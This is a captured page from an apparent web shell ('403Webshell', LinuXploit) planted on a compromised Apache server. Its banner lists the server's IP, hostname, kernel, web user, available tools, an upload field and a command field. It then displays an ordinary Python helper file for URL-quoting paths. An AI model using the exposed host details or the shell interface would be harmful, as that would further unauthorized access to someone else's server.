403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/fs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/fs/_url_tools.py
import re
import six
import platform
import typing

if typing.TYPE_CHECKING:
    from typing import Text

_WINDOWS_PLATFORM = platform.system() == "Windows"


def url_quote(path_snippet):
    # type: (Text) -> Text
    """
    On Windows, it will separate drive letter and quote windows
    path alone. No magic on Unix-alie path, just pythonic
    `pathname2url`

    Arguments:
       path_snippet: a file path, relative or absolute.
    """
    if _WINDOWS_PLATFORM and _has_drive_letter(path_snippet):
        drive_letter, path = path_snippet.split(":", 1)
        if six.PY2:
            path = path.encode("utf-8")
        path = six.moves.urllib.request.pathname2url(path)
        path_snippet = "{}:{}".format(drive_letter, path)
    else:
        if six.PY2:
            path_snippet = path_snippet.encode("utf-8")
        path_snippet = six.moves.urllib.request.pathname2url(path_snippet)
    return path_snippet


def _has_drive_letter(path_snippet):
    # type: (Text) -> bool
    """
    The following path will get True
    D:/Data
    C:\\My Dcouments\\ test

    And will get False

    /tmp/abc:test

    Arguments:
       path_snippet: a file path, relative or absolute.
    """
    windows_drive_pattern = ".:[/\\\\].*$"
    return re.match(windows_drive_pattern, path_snippet) is not None

Youez - 2016 - github.com/yon3zu
LinuXploit